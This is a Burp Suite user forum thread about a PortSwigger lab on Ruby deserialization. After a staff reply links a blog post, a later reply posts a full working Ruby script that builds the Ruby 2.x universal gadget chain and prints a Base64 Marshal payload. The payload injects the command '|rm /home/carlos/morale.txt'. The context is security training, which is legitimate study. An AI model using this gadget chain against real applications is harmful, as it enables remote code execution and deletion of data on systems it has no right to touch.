Research Academy
My account Customers About Blog Careers Legal Contact Resellers

Burp Suite User Forum

Create new post

Exploiting Ruby deserialization using a documented gadget chain

Aman | Last updated: Jul 28, 2020 09:32PM UTC

Here is One line in Solution that. Browse the web to find the "Ruby 2.x Universal RCE Gadget Chain" by Luke Jahnke. But i am not able to understand that which is Luke Jahnke script. because here is many more scripts by name Luke Jahnke. can you share Real script of Luke Jahnke for this lab. I have tired from many days and stucking here. can help me?

Uthman, PortSwigger Agent | Last updated: Jul 29, 2020 09:00AM UTC

Hi Aman, I think the lab is referring to this blog post: https://www.elttam.com/blog/ruby-deserialization/

Max | Last updated: Aug 20, 2021 10:21AM UTC

For those in the panzer:) Create and run rb: #!/usr/bin/env ruby class Gem::StubSpecification def initialize; end end stub_specification = Gem::StubSpecification.new stub_specification.instance_variable_set(:@loaded_from, "|rm /home/carlos/morale.txt") puts "STEP n" stub_specification.name rescue nil puts class Gem::Source::SpecificFile def initialize; end end specific_file = Gem::Source::SpecificFile.new specific_file.instance_variable_set(:@spec, stub_specification) other_specific_file = Gem::Source::SpecificFile.new puts "STEP n-1" specific_file <=> other_specific_file rescue nil puts $dependency_list= Gem::DependencyList.new $dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file]) puts "STEP n-2" $dependency_list.each{} rescue nil puts class Gem::Requirement def marshal_dump [$dependency_list] end end payload = Marshal.dump(Gem::Requirement.new) puts "STEP n-3" Marshal.load(payload) rescue nil puts puts "VALIDATION (in fresh ruby process):" IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe| pipe.print payload pipe.close_write puts pipe.gets puts end require "base64" puts "Payload (Base64 encoded):" puts Base64.urlsafe_encode64(payload)

You must be an existing, logged-in customer to reply to a thread. Please email us for additional support.